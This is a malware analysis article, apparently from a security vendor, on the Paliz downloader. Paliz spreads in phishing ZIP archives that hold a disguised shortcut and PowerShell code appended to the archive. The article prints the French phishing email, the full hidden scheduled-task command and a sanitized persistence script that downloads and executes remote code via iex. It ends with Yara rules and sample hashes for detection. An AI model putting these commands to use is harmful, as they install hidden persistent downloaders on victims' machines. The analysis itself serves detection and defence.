Paliz, the PowerShell downloader in a ZIP and beyond


Threat actors regularly come up with new techniques for malware downloaders to hide and execute their code with the expectation that they can fool antivirus solutions for some time. Paliz is an archive that carries malicious code in an unusual location.

ZIP Archive Contents

This malware arrives via email attachment. The attached file is a ZIP archive using names like ("update documentation"), or ("invoice presentation") to make users believe that it is worth to take a look into the archive's contents. The email text for the sample is seen below.

Cher(e) client(e),
Veuillez noter que votre compte présente un solde débiteur à ce jour correspondant à la facture V-384718 jointe.
Nous vous remercions de nous faire parvenir votre règlement dans les plus brefs délais, ou de nous fournir un justificatif de paiement (si vous l'avez fait récemment, merci de ne pas tenir compte de ce message).
Cliquez sur ce lien pour vous identifier et accéder directement à votre facture V-384718

Bonne réception

Thibault Leroy
61, Rue A Traversa
26300 Alixan

If the user opens or extracts the ZIP archive they will see an image file and a Windows shortcut that poses as an important business document (see picture below). File names like documentatione cliente.lnk ("customer documentation"), document financier pour client.lnk ("financial document for client"), notifice cliente.lnk ("notify customers") are used for the shortcuts. The image files are PNG or JPEG files, some of which actually look like an invoice, others show diagrams related to finances. The image files make the look and feel of the archive's contents more legitimate.

The file names and email contents indicate that the malware targets French and Spanish businesses.

Malicious tasks and code extraction from ZIP

The shortcut executes the Task Scheduler (schtasks.exe) with the following arguments.


/F /create /sc minute /mo 5 /TN "AI" /ST 07:00 /TR "powershell -win hidden -exec ByPass -c &{$sd=gci -r c:\users\ -in aggiornamento-docume*.zip|select -last 1;$l5r=type -LiteralPat $sd.fullname;$l5r[$l5r.length-1]|iex}"


This forcibly creates a task named AI that runs a PowerShell command every 5 minutes.

The PowerShell command searches for a file namend aggiornamento-docume*.zip to find the ZIP archive on the system. That means any automated system which renames the sample won't get a working downloader because Paliz will not find its own archive anymore. The same will happen if the archive is not located somewhere in "c:\users\". The PowerShell command extracts the last part of the archive and executes it.

The actual code that will persist Paliz on the system resides in appended data of the ZIP archive as it is visible in the picture below.

For some Paliz samples the code is slightly obfuscated. In our case the variable names are mangled, other samples will also obfuscate the download URL. But Paliz uses mostly just arbitrary upper and lower case combinations to evade signature detection by static scanners. A sanitized version of the code of our sample is below.


start-process -windowstyle hidden schtasks '/change /tn AI /disable';
$appdata_fullpath = $env:userprofile+'\AppData\Roaming'; 
$comp_uuid = (Get-WmiObject Win32_ComputerSystemProduct).UUID; 
$uuid_substr = $comp_uuid.Substring(0,6); 
$ps_folder = $appdata_fullpath+'\'+$uuid_substr;
If(test-path $ps_folder"\_in"){break;break;break;}; 
If(!(test-path $ps_folder)){New-Item -ItemType Directory -Force -Path $ps_folder}; 
"start-process -windowstyle hidden powershell.exe "" -c iex ((New-Object ('Net.Webclient')).('DownloadString').invoke(('https://<redacted>/jola/mula')))""" | out-file $ps_folder\XFoXp1UwJ5uzuUNrYbe.ps1; 
$task_command=' /F /create /sc minute /mo 5 /TN "AppRunLog" /ST 07:00 /TR "powershell.exe -windowstyle hidden -exe bypass -file '+$ps_folder+'\XFoXp1UwJ5uzuUNrYbe.ps1 "'; 
start-process -windowstyle hidden schtasks $task_command;


This creates a PowerShell file in a subfolder of the APPDATA directory which contains the code to download and execute malware. It uses the Task Scheduler to add a task named AppRunLog, that executes the PowerShell downloading script every five minutes.

Both malicious Tasks, AI and AppRunLog, are seen in the Task Scheduler.

Unfortunately we weren't able to obtain the payload from any of the download URL's so far.

While the strategy of Paliz is new, the implementation has shortcomings for the threat actor. The pop-up of the taskeng.exe window every five minutes makes it quiet noisy and it isn't going to stop even after successful download and execution of the malware. Paliz won't work on Windows systems that are installed on a different drive than C and renaming the archive renders it ineffective.

Hunting Paliz with Yara

We created Yara rules for hunting Paliz archives and shortcuts.


rule PalizArchive
		author = "Karsten Hahn, G Data"
		description = "Paliz archive with appended malicious code"
		sha256 = "40b112a93bfda9352dbefdbf36d4039eca96a38ce029c23ecb48e580ee65daff"
		$etc_1 = ".lnkPK"
		$etc_2 = "start-process -wiNdowStylE HiDden" nocase
		$etc_3 = "'DowNLoAdStrInG').invoKe" nocase
		$etc_4 = "powershell.exe \"\" -c iex " nocase
		uint16(0) == 0x4b50 and
		2 of ($etc_*) and
		for all of ($etc_*) : ( @ > filesize - 0xa00 )

rule PalizShortcut
		author = "Karsten Hahn, G Data"
		description = "Paliz Windows shortcut that executes code appended to an archive"
		sha256 = "74389d2a569ce1640ca18072028a9bb556a00b9ae3b027c51891880265ed2c16"
		$magic = { 4c0000000114020000000000c000000000000046 }
		$s_1 = "-LiteralPat" wide
		$s_2 = "schtasks.exe" ascii wide
		$s_3 = "*.zip|select -last" wide
		@magic == 0 and 2 of ($s_*)



Sample Hashes

SHA256 Description Detection Name
89f33bf35668ce93e715f0d8793c8a0ed091bf16cd5bcaa58405a4da30d639ab Paliz archive (from this article) Archive.Trojan-Downloader.Paliz.A
74389d2a569ce1640ca18072028a9bb556a00b9ae3b027c51891880265ed2c16 Paliz shortcut (from this article) Win32.Trojan.PalizLnk.A
2114441ee9cbbeb08f618b882726946204429aa59dc68dd0e1f673fef5385408 Paliz archive Archive.Trojan-Downloader.Paliz.A
3d18968bdf251c4b1ddb5790e1327f81aef6faab7dbda2e1e902af71fb2473c8 Paliz archive Archive.Trojan-Downloader.Paliz.A
40b112a93bfda9352dbefdbf36d4039eca96a38ce029c23ecb48e580ee65daff Paliz archive Archive.Trojan-Downloader.Paliz.A
5a64b87114c889e53541ba81ff8504f2c4d51ef367a5df7230cca141d31106f6 Paliz archive Archive.Trojan-Downloader.Paliz.A
a07301f833b636b9571cc23e9136eee6dcf3f547bd702d63c116630c692581a5 Paliz archive Archive.Trojan-Downloader.Paliz.A
4b9d051d247d86aa50ed9d886bac64aee7f8397907702fa21cdbda0bca09f238 Paliz shortcut Win32.Trojan.PalizLnk.A
9e706c44ed8122c3213303f80f486d90bd2c0ec1d4447ade7ddc7ced7f17f96a Paliz shortcut Win32.Trojan.PalizLnk.A
0a3632fced4ca3f493051e2adbfdfbefb10d0acc01b44906d2d774d3db03f7c1 Paliz shortcut Win32.Trojan.PalizLnk.A
d013a8fe9bc89f8e80deaf13f1470714dafb92039b0cfe6492b840bbbef5c5ba Paliz shortcut Win32.Trojan.PalizLnk.A
0fe57989da7badbb1c93290c8b5308eebaab2f45839e1876bb98df7e0845bc77 Paliz shortcut Win32.Trojan.PalizLnk.A